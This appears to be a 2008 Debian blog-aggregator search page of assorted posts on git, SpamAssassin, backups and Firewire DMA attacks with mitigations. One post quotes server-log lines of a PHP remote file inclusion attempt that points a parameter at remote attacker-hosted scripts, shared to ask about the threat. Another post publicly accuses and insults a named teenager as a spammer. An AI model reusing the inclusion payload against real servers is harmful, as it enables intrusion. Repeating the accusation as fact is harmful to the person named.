Search Results: "spa"

14 August 2008

Daniel Stone: ryan farmer is a spammer

Unfortunately, Matthew is correct, and it seems that Ryan Farmer is the idiot that signed a few of us up to about 200 mailing lists this morning. Not only do I trust Matthew's analysis (and was watching him go through the various steps on IRC as it happened), but then there were two other bits.

Ryan refused to approve two of my comments I made on his latest blog entry (more than happy to screenshot this). He claimed he too had been spammed, and had to abandon his email address of a few years. Even if you ignore the length of the text blanked out in the title bar not even remotely matching the length of his personal email address, there were only 131 messages in the inbox, of which 127 were unread, and no others but spam visible. He claimed they were archived; I offered to publicly apologise if he'd do a quick screencast showing him logging into that account and showing some messages from the archive to prove the point. Unfortunately he didn't bother approving these comments. (Incidentally, if you had to 'abandon' an email address due to an avalance of newsletters, et al, which took an hour or two to fully unsubscribe from, would you still bother blacking out the address everywhere?)

As per his standard 'insult everyone with random images from the internet and YouTube videos, then wildly claim conspiracies against him' policy, he went on to claim Matthew was conspiring against him, but given the choice between Matthew conspiring and severely irritating a few of his friends in the process, and some scorned 16-year old continuing his track record of acting like an irrational, immature idiot, I know which one I'd pick.

It takes some skill to be banned from all the Ubuntu IRC channels and the Ubuntu forums both, but I guess this morning showed that was completely justified. Apologies to everyone waiting on the announcement of sponsorship for XDS, as well as hotels, but unfortunately some people just can't conceive of having better things to do than acting like chavs. Hopefully IzanbardPrince/TheAlmightyCthulu/etc goes back to impersonating Kevin Carmony, flaming the bejesus out of companies using BIOSes which trip Linux bugs, and other, equally productive, uses of his time.

Jonathan McDowell: Jonathan's Essential DebConf Spanish

Sin queso

DebConf team: DebConf Gallery (Posted by Joerg Jaspert)

As in previous years we have a DebConf Gallery running. We would like to encourage people who have taken pictures around DebCamp, DebConf and DebianDay to upload them to gallery.debconf.org. The server is open for everyone but accounts need to be activated by admins to avoid spam. If you create an account and it isn’t confirmed within 2 hours, feel free to talk to one of the admins in person or on IRC.

Uwe Hermann: Physical memory attacks via Firewire/DMA - Part 1: Overview and Mitigation

This is part 1 of a series on articles about the Firewire security issues mentioned below. For many years now, attacks via Firewire / i.LINK / IEEE 1394 have been a known security issue. Basically, if you gain physical access to a PC or laptop which has Firewire ports (or PCMCIA/Cardbus/ExpressCard, more on that later) you can All of this is done by exploiting a "feature" of the Firewire spec (OHCI-1394) (PDF), namely that it allows read/write access to physical memory (via DMA) for external Firewire devices. Worse, as this is DMA, the CPU/OS will not even know what's going on. Even worse, this works regardless of whether you have locked your screen with a password-protected screensaver, or xlock, or vlock, or whatever. As long as the system is running, you're vulnerable. In this article, I intend to give a fairly complete overview of the available papers published on this issue, tools for testing the attacks, as well as mitigation techniques for various OSes. If I'm missing some important papers or tools, please post a comment! Papers, Attacks, and Tools Over the years a number of presentations and papers have been released with information about these Firewire issues. Maximilian Dornseif et. al. The first publication that I know of was done by Maximilian Dornseif, Michael Becher, and Christian Klein. They gave a number of talks on various security conferences on this topic: They also released a number of tools, Firewire libraries for Mac OS X and Linux, as well as small demo scripts which use those libs: Adam Boileau In 2006 Adam Boileau (a.k.a. Metlstorm) gave a talk called Hit by a Bus: Physical Access Attacks with Firewire (PDF) at Ruxcon 2006. In 2008 he then released a set of tools: Peter Panholzer As of early 2008 Peter Panholzer from sec-consult.com published a two-page whitepaper which says they were able to run a winlockpwn-like attack on Windows Vista via Firewire. There's not much information in the PDF unfortunately, and no tools were released, as far as I know. David R. Piegdon The most recent toolset and papers I know of are from David R. Piegdon (a.k.a. IosTrace), who gave a number of talks in 2007/2008 about the issue, and also released a toolset called SEAT1394. I'll go into much more detail on how the tools are used and what they can do in another follow-up article. Mitigation There are ways to eliminate or at least mitigate these attack vectors. The simplest and most secure way is to not have any Firewire ports installed (don't put Firewire PCI/PCIe cards in your PC, don't use Firewire PCMCIA/Cardbus/ExpressCard cards). Now, if you have a laptop with built-in Firewire ports, you have a problem, of course. In that case you could still physically destroy the port (by opening the laptop and cutting/desoldering stuff, or by putting glue/epoxy in the port in order to prevent any Firewire cables being attached). These are slightly drastic (but effective!) measures. Note: Even if you don't have any Firewire ports, you're not automatically safe and secure. If your laptop has a PCMCIA/Cardbus/ExpressCard slot, an attacker can simply insert a PCMCIA Firewire card (for instance) in that slot. Chances are, that your OS will automatically load the driver for that card and also the Firewire drivers you'll need if you want to use the card for attaching Firewire devices. Game over. Your "secure" laptop is now vulnerable... If you cannot (or don't want to) remove/destroy/disable your Firewire ports, the next best thing is to ensure that nobody except yourself ever gets physical access to your PC/laptop. This is hard to do for a PC, and almost impossible for a laptop, mind you. Finally, there are some software measures you can use to prevent at least physical DMA access for Firewire devices: Mitigation: Linux Pretty much every Linux system with the "old" Firewire drivers loaded (kernel module ohci1394 et. al.) is vulnerable to these issues. Newer kernels now also ship with a new Firewire stack called "juju" (kernel module firewire_ohci et. al.) which may or may not have the same issues (not fully tested by me so far, will report back later). Per default, all recent kernels, e.g. 2.6.26, are vulnerable, but see below. Under Linux, simply using a kernel which doesn't have any Firewire support (neither built-in, nor as a module) is the most secure option. If you must have Firewire support you can load the ohci1394 module with the phys_dma=0 parameter to at least disable physical DMA support:
  $ modprobe ohci1394 phys_dma=0
I have personally tested this on some boxes and I can confirm that it renders the currently published tools useless. As for the new "juju" Firewire stack, I'm not so sure. A few quick tests showed that the currently available tools don't work with the new stack, but you shouldn't feel too secure! AFAIK the new stack does support (or will support soon) physical DMA for Firewire, so it's probably just a matter of adapting the tools a bit (I'll do some testing/research on this later, as time permits). Mitigation: Mac OS On Mac OS you might also be able to completely remove Firewire support from the kernel (but I don't know if/how that can be done, not sure if you can easily recompile Mac OS kernels, and/or if you even have buildable source code and toolchains for that). However, you can at least remove the Firewire support in the default Mac OS installation by unloading AppleFWOHCI.kext:
  $ sudo kextunload /System/Library/Extensions/IOFireWireFamily.kext/Contents/PlugIns/AppleFWOHCI.kext
Thanks to a Daniel Reutter for letting me abuse his MacBook via Firewire and for finding the above kextunload command line. We have successfully tested that after unloading AppleFWOHCI.kext the current tools won't work anymore. The tests were done on a Mac OS X Tiger (I think) with all recent security updates applied. Please leave a comment if you can test other versions of Mac OS X... Mitigation: Windows As for Windows, well, I guess you're screwed. While Windows XP does implement sort of "protection" in that it only allows physical DMA access via Firewire to devices which "deserve it", e.g. iPods (or any other Firewire mass storage device, I guess) this can be easily defeated by having your attack PC/laptop pretend to be an iPod (see the romtool Python script by Adam Boileau). The only remaining option I know of (short of removing/destroying Firewire ports or preventing physical access alltogether) is to disable the Firewire ports/drivers in the device manager (untested by me so far). If you do that, remember to also disable all PCMCIA/Cardbus/ExpressCard controllers, of course (see above). So far I've tested Windows XP SP2/SP3 successfully with Adam Boileau's tools. I haven't yet been able to test Windows 95/98/Vista, if you can verify one of them, please leave a comment. Mitigation: OpenBSD/FreeBSD/NetBSD/OpenSolaris/... On OpenBSD you're likely not vulnerable as OpenBSD doesn't have any Firewire drivers at all, as far as I know ;-) As for FreeBSD, NetBSD, OpenSolaris, and other OSes I don't have any information. I might be able to test one or two of them in the nearer future, but please leave a comment if you have some information about whether they are vulnerable and/or how you can secure your system... Conclusion That's it for now. I hope you now have a good overview of these issues and how to protect. I can only urge you to take this problem seriously! Three or four minutes of leaving your laptop unattended are fully sufficient for an attacker to get a full forensic image of all your RAM contents for later analysis. This is at least as critical as the Cold Boot attacks, if not worse. I will follow-up with more articles about some more interesting details on these Firewire issues, how to use the above tools, and I'll report on some of the stuff I was able to find in RAM dumps gathered via Firewire...

Sergio Talens-Oliag: Summertime, change times

After less than a week of vacation I've decided it was time to write a short blog entry, as I plan to write at least another one in some days, as we are waiting the arrival of Marc, our second son, for this week or the next one. In the last months I haven't done what I said in my last posts, I'm quite busy with the rest of my life and blogging or keeping my home computing infrastructure is not on the top list. Anyway I still have managed to do some things like giving a talk about virtualization on the VII Jornades de Programari Lliure, not going to Debconf8 (next year should be the one, the conference is in Spain and I have enough time to prepare it, including a possible trip with all the family) or do a partial server migration at home, leaving two machines to do the work of one. My plan for the migration has changed and if time permits I'll try to do it in the next couple of weeks; now I plan to move my current servers to an ASUS EeePC with 2GB of RAM and an external USB disk (it is a lot smaller and the hardware is still faster than my old server) and I'll use OpenVZ instead of Linux-Vserver for virtualization (OpenVZ enabled kernels are available for Lenny).

13 August 2008

Eddy Petrișor: migrating from svn to git for wormux's maintainance

I have been thinking for quite some time about migrating the maintenance of the wormux package to git, but in a really smart way so that:
Since both the package repo and the upstream repo are in SVN, you can't simply use git-svn for both in a single repo, so I started thinking of some scheme to be able to join both repos and the (uncommitted) orig tarballs (which are backed up on DGT's webspace).


Tonight I have experimented a little with my git-svn clones which I made previously and eventually thought that:

It seems the last point could be obtained in some way via this small set of commands (I am sure it needs some modification to make the integration work in another branch C):

git merge --no-commit -s ours B
git checkout B -- .
git checkout A -- .
git commit


Note: Looking back, I think I can do a better job next time and I will se if I can use the resulting repo to create a new repo and drop the svn package maintainance for wormux. If this works, I might be able to create a script to allow migration of svn-bp maintained packages to git, at least for the Debian Games Team.


Since you can't fix a problem if you don't take things one at a time, I started by cloning the initial git-svn generated repos.

So after waiting some time (both git-svn fetch commands took long enough), I had to git-svn repos:
I tried to clone both A and B, to avoid distroying the original A and B clones and noticed that the svn branches were not visible from the cloned repo since the origins didn't had any other local branches than master - the svn trunk for each of them. So I added tracking branches in A for the experimental and sarge versions of the package. I also added some tags in A so that the svn tags don't get lost in between.

In the end I got my A' repo that had:

0 eddy@heidi ~/usr/src/wormux/tt/debian-bare $ git br -a
debian-experimental
debian-sarge
debian-sid
* master
origin/debian-experimental
origin/debian-sarge
origin/master


Yes, and having master in A' is not a good idea, but since I made A' a bare repo I had to suffer. Well, one more thing to better in iteration 2.


Excellent, now I can go in B and add the new remote repo which is A' which I should have called pkgsvn, but I ended up call it 'origin'. Since git-svn doesn't treat the svn repo as a true remote, this was possible.



Due to some confusion I also added 'ups-' as a prefix to the svn remote trunk and tags, but I am still unsure if this was necessary - I'll have to see more clearly into the pristine-tar restrictions area.

After all of this I got this branch configuration:
0 eddy@heidi ~/usr/src/wormux/tt/git-full $ git branch
* master
0 eddy@heidi ~/usr/src/wormux/tt/git-full $ git branch -r
0.8-final
0.8beta4
origin/debian-experimental
origin/debian-sarge
origin/debian-sid
origin/master
ups-tags/wormux-0.7
ups-tags/wormux-0.7.2
ups-tags/wormux-0.7.3
ups-tags/wormux-0.7.4
ups-tags/wormux-0.7.9
ups-tags/wormux-0.7.9rc1
ups-tags/wormux-0.7beta3
ups-tags/wormux-0.8
ups-tags/wormux-0.8alpha1
ups-tags/wormux-0.8beta1
ups-tags/wormux-0.8beta2
ups-tags/wormux-0.8beta3
ups-tags/wormux-0.8beta4
ups-trunk
wormux-0.7
wormux-0.7.9
wormux-0.8beta1
wormux-0.8beta2


So more tracking branches were necessary; I fired 'gitk --all' and got a nice picture, after adding tracking branches for branches originating from A':


This is not yet complete and now I am feeling sleepy, so I'll continue once I experiment more.

Jaldhar Vyas: Highlights of PreventaConf 2008

Thousands of the worlds brightest, most handsome, and fragrant-smelling developers gathered in Bryant Square Park, New York City, for PreventaConf 2008 PreventaConf Project founder Jaldhar H. Vyas gave a stirring keynote covering such interesting and informative topics such as "Is Preventa just a big joke or are you really working on it?" The audience were shocked to learn that he actually is. PreventaConf Attendees gather for lunch sponsored by Heinz baked beans. Lunch is marred slightly by rain pouring through the roof and an altercation which resulted in the forcible expulsion of a known Ralph Nader sympathizer and his Move On organizer "girlfriend." PreventaConf Wonderful news! The government of Zimbabwe has offered to sponsor Preventa to the tune of ONE HUNDRED BILLION DOLLARS. The Preventa project will use that money to cover infrastructure costs and subsidize developer travel expenses. Thanks Zimbabwe! PreventaConf And finally here is a scene from the lab where developers are busy trying make Preventa a reality. Look forward to some real news soon!

12 August 2008

Wouter Verhelst: Picture retouching

Last month, the dutch-languaged C'T featured an article about retouching pictures with The Gimp, amongst others. Great timing, of course, since everyone goes on holiday during summer, right? Right. It's amazing what you can do with The Gimp and a bit of basic knowledge. Take this picture, for example, which I took at this year's FOSDEM: a
picture I kindof like it, but the colors are a bit blend. Too much of a red tint over everything. So, what we need to do, is change the curve: the blue
curve Pardon my, eh, Dutch. The trick is to remember that there are only so many colors which can be represented in a (JPEG) photo. The histogram on the background represents that; and by modifying the curve that is above the picture, you can effectively change the colorspace that is available for any peaks. If there's a lot of the darker blue in the picture, but less so in the lighter regions of the blue (as in this case), you just give the picture more space in the blue regions so that the blue that actually exists in the picture can be better represented. We do this by lowering the curve right before the peak, and by raising it afterwards, as the above screenshot shows. After doing so for red, green, and blue, this is the result: a better
picture Looks much better, right? Way more contrast, and the colors look much more natural. And that only took me like 10 seconds to do. Do watch out, though -- it's easy to overshoot, resulting in an ugly picture; and you wouldn't necessarily want that. Also, if your camera has a RAW mode, you're going to be able to do a lot more of this kind of retouching with that than you would be using JPEG files. Then again, my camera has RAW too, but I don't use it most of the time...

David Welton: Hecl Syntax: A Survey

[ Taken and modified from a post to the hecl-devel mailing list ] I've been talking with a company about a consulting job regarding a programming language for mobile apps. Sounds familiar, right? There is, however, a bit of discussion regarding the syntax - my contact at said company maintains that Hecl's syntax is unfamiliar to many programmers, and I think on the face of it, I'd have to agree. Of course, Hecl's syntax is like it is because when I started the project, being very small was a necessity, and a very simple syntax facilitated that goal nicely. Additionally, the syntax allows for extreme flexibility, letting you create new control commands, and "DSL's" (domain specific languages) easily. Also, sticking with small/simple means that the interpreter and parser can both reside on the phone, instead of doing some kind of solution where the development/host computer compiles the scripting language to byte code, and the interpreter on the phone runs the byte code. That sort of strategy has some advantages, but has disadvantages too: if you don't have an on-board parser, you don't get "eval".
A quick Hecl syntax refresher: In Hecl, everything is a command, seperated by spaces, and grouped with :
if   ...     ...  
Is a command that takes two arguments. It evaluates the first one, and if it's true, evaluates the second one. This is different from languages like C, Python or Ruby, where 'if' is part of the language. For those unfamiliar with languages like Lisp, where this looks strangest is probably in conditions or other expressions:
if   = $foo 10     puts "foo is ten"  
Or
set foo [+ [* $bar 10] [- $beebop $doowah]]
Which is certainly a different take on things than most 'mainstream' languages. That radical simplification is, however, one of the ways that I used to save space in the interpreter.
Personally, I'm pretty happy with how Hecl looks, but I am sensitive to the 'marketing' argument: popularity helps, and this isn't the first time I've heard complaints about Hecl looking "funny" to people. What do you think? A) "I like Hecl just the way it is and wouldn't want to change it!" B) "Hecl is quite useful, but I just want a mobile scripting language, the syntax doesn't matter much." C) "I think the syntax is ugly, but I use it because I need an interpreter." Also related: 1) "I don't care too much about code size. My current apps target N kb as an acceptable size." 2) "Small is really important. The smaller the better." And: I) "I don't care about eval, or being able to run human readable code on the phone." II) "I really like the fact that you can download or even write code directly on the phone." And finally: X) "I don't care about midp1.0" Y) "The fact that Hecl runs on midp1.0/cldc1.0 is important to me." Now, I am not going to run off and change Hecl! Code that currently runs ought to continue to run, modulo some tweaks here and there, api changes, and the normal stuff. If I do something 'new', it would probably be a clean break (although of course code that could be reused would be), and will be in addition to Hecl, rather than instead of Hecl, because I would be working on the 'new' language as a day job. I do that with Hecl too, but not all the time, as I often have consulting/contracting work.

Erich Schubert: Some new (PHP app) exploit?

From my security monitoring:
suhosin[25775]: ALERT - tried to register forbidden variable '_SERVER[DOCUMENT_ROOT]' through GET variables (attacker '67.19.104.82', file '[...]')
The web logs contained:
GET //?_SERVER[DOCUMENT_ROOT]=http://sekip.axspace.com/alat/r0x.txt?? HTTP/1.1
Is this some new PHP attack vector (that happens to be blocked by the suhosin security module)? I thought it was related to ConPresso, but I've also found similar accesses in my logs that were on sites that don't use PHP (and thus did not trigger a suhosin alert). Obviously these don't relate to ConPresso, so it seems more like a brute force / mass attack?Another host involved:
80.93.54.47 ... GET /index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1
That referenced URL still works, so if you want you can retrieve the 'exploit' code. But all it apparently does is to try various methods to execute "id", probably to locate web servers that are vulnerable and maybe even running as "root" user.Obviously this is a brute force; that site doesn't have an index.php.Is that anything new? Or is it just some script kiddie trying to re-use an aged exploit? But on the other hand, I havn't seen such a suhosin alert in months. Anybody knows which PHP script might be vulnerable to this attack vector.If you've got any details, contact me at erich@debian.org; my blog intentionally does not have comments or trackbacks.[Update: I've received two mails pointing out that such vulnerablities are found in some PHP apps every now and then, so it might just be some script kiddie scanning brute force once more. Supposedly this cannot be exploited when register_globals is off and/or suhosin is used.]

Russell Coker: SpamAssassin During SMTP

For some time people have been telling me about the benefits of SpamAssassin (SA). I have installed it once for a client (at their demand and against my recommendation) but was not satisfied with the result (managing the spam folder was too complex for their users). The typical configuration of SA has it run after mail has been accepted by the server. Messages that it regards as spam are put into a spam folder. This means that when someone phones you about some important message you didn’t receive then you have to check that folder. Someone who sends mail to a user who has such a SA configuration can not expect that the message will either be received or rejected (thus giving them a bounce message). Even worse it seems to be quite common for technical users to train the Bayesian part of SA on messages from the spam folder - without reviewing them! Submitting a folder of spam that has been carefully reviewed for Bayesian training can increase the accuracy of classification (including taking account for locality and language differences in spam). Submitting a folder which is not reviewed means that when a false-positive gets into that folder (which will eventually happen) it is used as training for spam recognition thus increasing the incidence of false-positives! Spam has been becoming more of a problem for me recently, on a typical day between 20 and 40 spam messages would get past the array of DNSBL services I use and be re-sent to pass the grey-listing. Also I have been receiving complaints from people who want to send email to me about some of the DNSBL and RHSBL services I use (the rfc-ignorant.org service gets a lot of complaints - there are a huge number of ignorant and lazy people running mail servers). So now I have installed spamassassin-milter to have SA run during the SMTP protocol. Then if SA checks indicate that the message is SPAM my mail server can just reject the message with a 55x which will cause the sending mail server to generate a local bounce (if it’s a legitimate message) or to just be discard it in the case of a spam server. Here is how to set it up on Debian/Lenny and CentOS 5: Install the package yum install spamass-milter or apt-get install spamass-milter spamassassin spamc (spamassassin seems to be installed by default on CentOS). On a Debian system the milter will be setup and running. On CentOS you have to run the following commands:
useradd -m -c "Spamassassin Milter" -s /bin/false spamass-milter
mkdir /var/run/spamass-milter
chown spamass-milter /var/run/spamass-milter
chmod 711 /var/run/spamass-milter
echo SOCKET="/var/run/spamass-milter/spamass.sock" >> /etc/sysconfig/spamass-milter On CentOS edit /etc/init.d/spamass-milter and change the daemon start line to ‘runuser - spamass-milter -s /bin/bash -c "/usr/sbin/spamass-milter -p $SOCKET -f $EXTRA_FLAGS"‘ Then add the following lines below it:
chown postfix:postfix /var/run/spamass-milter/spamass.sock
chmod 660 /var/run/spamass-milter/spamass.sock The spamass-milter program talks to the SpamAssassin daemon spamd. On both Debian and CentOS run the command “useradd -c Spamassassin -m -s /bin/false spamassassin” to create an account for SA. The Debian bug #486914 [1] has a request to have SA not run as root by default. On CentOS it seems that SA wants to use a directory under the spamass-milter home directory, the following commands alllow this. It would be good to have it not do that, or maybe it would be better to have the one Unix account used for SA and the milter.
chmod 711 ~spamass-milter
mkdir ~spamassassin/.spamassassin
chown spamassassin ~spamassassin/.spamassassin On Debian edit the file /etc/default/spamassassin and add “-u spamassassin -g spamassassin” to the OPTIONS line. On CentOS edit the file /etc/sysconfig/spamassassin and add “-u spamassassin -g spamassassin” to the SPAMDOPTIONS line. To enable the daemons, on CentOS you need to run “chkconfig spamass-milter on ; chkconfig spamassassin on“, on Debian edit the file /etc/default/spamassassin and set ENABLED=1. Now start the daemons, on CentOS use the command “service spamassassin start ; service spamass-milter start“, on Debian use the command “/etc/init.d/spamassassin start“. Now you have to edit the mail server configuration, for Postfix on CentOS the command “postconf -e smtpd_milters=unix:/var/run/spamass-milter/spamass.sock” will do it, for Postfix on Debian the command “postconf -e smtpd_milters=unix:/var/spool/postfix/spamass/spamass.sock” will do it. Now restart Postfix and it should be working. For correct operation you need to ensure that the score needed for a bounce is specified as the same number in both the spamass-milter and SA configuration. If you have a lower number for the spamass-milter configuration (as is the default in Debian) then bounces can be generated - you should never generate a bounce for a spam. The config file /etc/default/spamass-milter allows you to specify the score for rejecting mail, I am currently using a score of 5. Any changes to the score need matching changes to /etc/mail/spamassassin/local.cf (which has a default required_score of 5 in Debian). You can grep for “spamd..result..Y” in your mail log to see entries for messages that were rejected. One problem that I have with this configuration on Debian (not on CentOS) is that spamd is logging messages such as “spamd: handle_user unable to find user: ‘russell’“. I don’t want it to look for ~russell when processing mail for russell@coker.com.au because I have a virtual domain set up and the delivery mailbox has a different name. Ideally I could configure it to know the mapping between users and mailboxes (maybe by parsing the /etc/postfix/virtual.db file). But having it simply not attempt to access per-user configuration would be good too. Any suggestions would be appreciated. Now that I have SpamAssassin running it seems that I am getting about 5 spams a day, the difference is significant. The next thing I will do is make some of the DNSBL checks that are prone to false-positives become SpamAssassin scores instead. When I started writing this post I was not planning to compare the sys-admin experiences of CentOS and Debian. But it does seem that there is less work involved in the task of installing Debian packages.

Enrico Zini: apt-xapian-index: dynamically generated tag clouds

apt-xapian-index: dynamically generated tag clouds About apt-xapian-index, I have already posted: Today I'll show how to create tag clouds. Not only that, but I'll show how to implement tag clouds that change as the user types a query. This example uses python-gtk, and has been created together with Matteo Zandi. axi-searchcloud screenshot Generating a tag cloud out of any Xapian query is simple, and it is just a matter of presenting into a tag cloud the information that you get with the technique shown in a smart way of querying tags: you get the tags related to the query, and you lay out their names with a font size proportional to their Xapian rank. For the presentation, we can load pretty names from the Debtags vocabulary in /var/lib/debtags/vocabulary:
from debian_bundle import deb822
# Facet name -> Short description
facets = dict()
# Tag name -> Short description
tags = dict()
for p in deb822.Deb822.iter_paragraphs(open("/var/lib/debtags/vocabulary", "r")):
    if "Description" not in p: continue
    desc = p["Description"].split("\n", 1)[0]
    if "Tag" in p:
        tags[p["Tag"]] = desc
    elif "Facet" in p:
        facets[p["Facet"]] = desc
The query then goes on as usual, and when we get the tags from the eset we also record their score and normalise it between 0 and 1. I found that computing the logarithm of scores helps to avoid having a tag cloud with a few huge tags and a lot of tiny tiny tags:
class Filter(xapian.ExpandDecider):
    def __call__(self, term):
        return term[:2] == "XT"
def format(k):
    if k in tags:
        facet = k.split("::", 1)[0]
        if facet in facets:
            return "<i>%s: %s</i>" % (facets[facet], tags[k])
        else:
            return "<i>%s</i>" % tags[k]
    else:
        return k
taglist = []
maxscore = None
for res in enquire.get_eset(15, rset, Filter()):
    # Normalise the score in the interval [0, 1]
    weight = math.log(res.weight)
    if maxscore == None: maxscore = weight
    tag = res.term[2:]
    taglist.append(
        (tag, format(tag), float(weight) / maxscore)
    )
taglist.sort(key=lambda x:x[0])
Finally, you mark up a gtkhtml2.Document to display in a gtkhtml2 widget:
def mark_text_up(result_list):
    # 0-100 score, key (facet::tag), description
    document = gtkhtml2.Document()
    document.clear()
    document.open_stream("text/html")
    document.write_stream("""<html><head>
<style type="text/css">
a   text-decoration: none; color: black;  
</style>
</head><body>""")
    for tag, desc, score in result_list:
        document.write_stream('<a href="%s" style="font-size: %d%%">%s</a> ' % (tag, score*150, desc))
    document.write_stream("</body></html>")
    document.close_stream()
    return document
That's it, try it out. You can use the git web interface to get to the full source code and the module it uses.

11 August 2008

Andrew Pollock: [tech] Amanda, tar, and Debian Etch

Somehow (thankfully) I've managed to avoid much to do with backups in my career as a sysadmin. It's always been someone else's responsibility, that's been fine by me. For some reason, I've been more paranoid lately, and with all of the crazy shit I've been doing to daedalus, I wanted to have a backup, just in case. Maybe it's old age. So a while ago, I went and had a stab at setting up Amanda, since pretty much whenever I've been near a bunch of sysadmins and someone asks for a recommendation on what to use, "Amanda" is the answer. I jumped through all of the hoops to have caesar be the backup server, and daedalus be a client. I set up a virtual tape library on caesar. I think I then lost interest for a while, until I was going to upgrade daedalus to Etch, and I wanted to have a successful backup first. I had the holding disk and the virtual tape library on the same filesystem, and it was nice and big, yet I kept running into this error about insufficient space. "dump larger than available tape space" was the complaint. I tried making the filesystem larger. I tried adding more virtual tapes. Nothing would placate it. After another round of Googling, I discovered that the problem was because Amanda would only only span a maximum of four tapes, and the filesystem I was trying to backup was way bigger than that. So I told it to use up to 10 tapes in a run (runtapes 10) and then lo and behold, I got a successful backup out of the sucker. So that was mostly all good, but occasionally a backup would fail, or fail once an succeed on a retry, because tar exited non-zero, with "file changed as we read it". I did some more Googling tonight, and discovered this Amanda/GNU tar compatibility matrix. It turns out that the version of tar and the version of Amanda shipped in Debian Etch aren't compatible with each other. Suck! Oh wait, they're maintained by the same person! Argh! So aside from the occasional backup failing due to a file being written to at the time of the backup, it's working fairly well. My DSL link isn't the fastest, so a full backup of daedalus can take over 48 hours to complete, but I'm not paying for inbound bandwidth at home, so it's not a big deal. I initially thought that to do a restore, I'd have to run amrecover on daedalus, and then I'd have to stream the contents of multiple tapes back to it at the appalling uplink speed of my DSL connection, but fortunately amrecover has a sethost command, so I can restore just the files I need on another machine local to caesar at LAN speeds, and just transfer the files I restore to daedalus. So that's all pretty neat. I quite like the FTP-client-like interface of amrecover. It's cool how you can use setdate and just go back in time. I had the opportunity to do a test restore recently when one of my users nuked his Maildir directory by accident. Unfortunately I was unable to recover the needed files in that case, and I'm not entirely sure what the problem was, so there's some more testing to be done before I'll be fully confident that I can rely on it. There's a lot of configuration options available as well, and I think I got the config I'm currently using from a template or something, so there's probably a fair bit of tweaking I can do. Oh, and I'm constantly reminded of this quote from a previous life, where technical details bubbled too far up non-technical management:
"Who is Amanda, and what is her role in the backups?"

Eddy Petri&#537;or: git-core backport still useless

The versioned depends on tk8.5 has been removed in 1:1.5.6.3-1~bpo40+4, but still, this isn't enough:

$ gitk
/usr/bin/gitk: line 3: /usr/bin/wish8.5: No such file or directory
/usr/bin/gitk: line 3: exec: /usr/bin/wish8.5: cannot execute: No such file or directory


The irony is that you can simply workaround with:

# ln -sf /usr/bin/wish8.4 /usr/bin/wish8.5


But the proper fix would be to apply this patch:


diff --git a/debian/rules b/debian/rules
index 7a1e771..7bd25cd 100755
--- a/debian/rules
+++ b/debian/rules
@@ -7,7 +7,7 @@ CFLAGS =-g -Wall
STRIP =strip
TEST =test
OPTS =NO_OPENSSL=1 prefix=/usr mandir=/usr/share/man INSTALLDIRS=vendor \
- WITH_P4IMPORT=1 PYTHON_PATH=/usr/bin/python TCLTK_PATH=/usr/bin/wish8.5 \
+ WITH_P4IMPORT=1 PYTHON_PATH=/usr/bin/python TCLTK_PATH=/usr/bin/wish \
THREADED_DELTA_SEARCH=1

ifneq (,$(findstring nostrip,$(DEB_BUILD_OPTIONS)))
--
1.5.6.3

Sune Vuorela: akademy keysigning

I ended up skipping the akademy keysigning, although I was signed up and looking forward to it. I think the organizers should have kicked people that didn’t bring their own copy of the list instead of providing spare copies and trying to naively verify them. If anyone on akademy is up for a key signature, please locate me and bring a snippet of paper with your key fingerprint and your full name. I’m hard to overlook.

Andrew Pollock: [life] "San Francisco's Bicycle Program strives to promote safe and secure bicycle parking to complement the growing bicycle network."

One of the things I've wanted to do since I discovered that Caltrain (and the VTA light rail) are well-equipped to take bikes, was go for an outing further afield on our bikes using one of these methods of public transport. So we finally got around to doing that yesterday, when we threw our bikes on the train, and BART, and went for a ride around Golden Gate Park. The grand plan was to bike to the Caltrain station, take Caltrain to Milbrae, BART to downtown, then bike from there to the park, and then catch an afternoon showing of The Dark Knight in IMAX at the Metreon, then bike back to the BART station, and reverse the whole thing. We had a minor hiccup in that Sarah had just gotten her bike back from a friend she'd lent it to, and as we were about to head to the Caltrain station, discovered that it a broken spoke. She managed to extract the spoke and we got to the station with a couple of minutes to spare. It turned out that Mike's Bikes were fairly close to the BART station, so we stopped in there on way to the park, and they were able to fix the spoke on the spot in 20 minutes for the princely sum of $21. Unfortunately the weather was pretty typical summer San Francisco weather, and it was quite cold and foggy. It didn't get any better as we got closer to the park (and the coast), so the ride around the park itself wasn't terribly exciting. The hill we had to get over (Hayes Street) was a bit of a slog. On the way back we saw the filming of a Japanese Nissan commercial (complete with right-hand drive car). I'd done some research into bike parking beforehand, and found that all of the parking garages are required to provide bicycle parking, and there's a pretty comprehensive list. So we parked our bikes in the Moscone Center garage, which was about a block from the Metreon, and went and caught the movie. The Dark Knight was really good. Very... dark. I really liked Ledger's portrayal of the Joker, much better than the original. I wonder if they'll just keep re-imagining the Batman movies over and over? There was pretty good continuity from Batman Begins. I thought the voice of Batman was a bit ridiculous though, at least initially. You kind of got used to it after a while. Anyway, we got back to the parking garage, and some lowlife had cut through the cable lock that we'd used to lock our bikes to each other and the rack, and stolen Sarah's bike! Annoyed does not begin to describe it. We trundled off the seven or eight blocks to the Hall of Justice to file a report. The SFPD weren't the least bit interested, really. The somewhat astounding thing was the bike racks were right behind the cashier's office, and there was video surveillance, and someone still managed to just walk right in, cut the cable, and walk out with the bike. We checked with the duty manager, and he reviewed the video footage and said they have footage of him walking in and then walking out with the bike. So hopefully the police will get hold that. We have to see if we can dredge up the purchase documentation for the bike and see if the serial number is recorded. I have no idea if we'll ever see the bike again. Our renter's insurance may cover it, but I suspect the deductible won't make it worth our while to make a claim. I have to say (and it's not like it's a recent discovery or anything) that the Bay Area's public transportation is a joke. It cost us $32 to go from Mountain View to Downtown San Francisco, via Caltrain and then BART. Our Prius takes about 11 gallons at worst, and with gas prices being at say $4.30 a gallon, that's about $47 a tank. We get about 400 miles out of a tank usually, and it's vaguely 40 miles from home to the guts of Golden Gate Park. So it's cheaper, and faster to drive to San Francisco than it is to use a bicycle and public transport. Particularly when you factor in the risk of theft of your bicycle. Our next bike lock will be one of those fancy Kevlar ones.

10 August 2008

Russell Coker: Xen CPU use per Domain

The command “xm list” displays the number of seconds of CPU time used by each Xen domain. This makes it easy to compare the CPU use of the various domains if they were all started at the same time (usually system boot). But is not very helpful if they were started at different times. I wrote a little Perl program to display the percentage of one CPU that has been used by each domain, here is a sample of the output: Domain-0 uses 7.70% of one CPU
demo uses 0.06% of one CPU
lenny32 uses 2.07% of one CPU
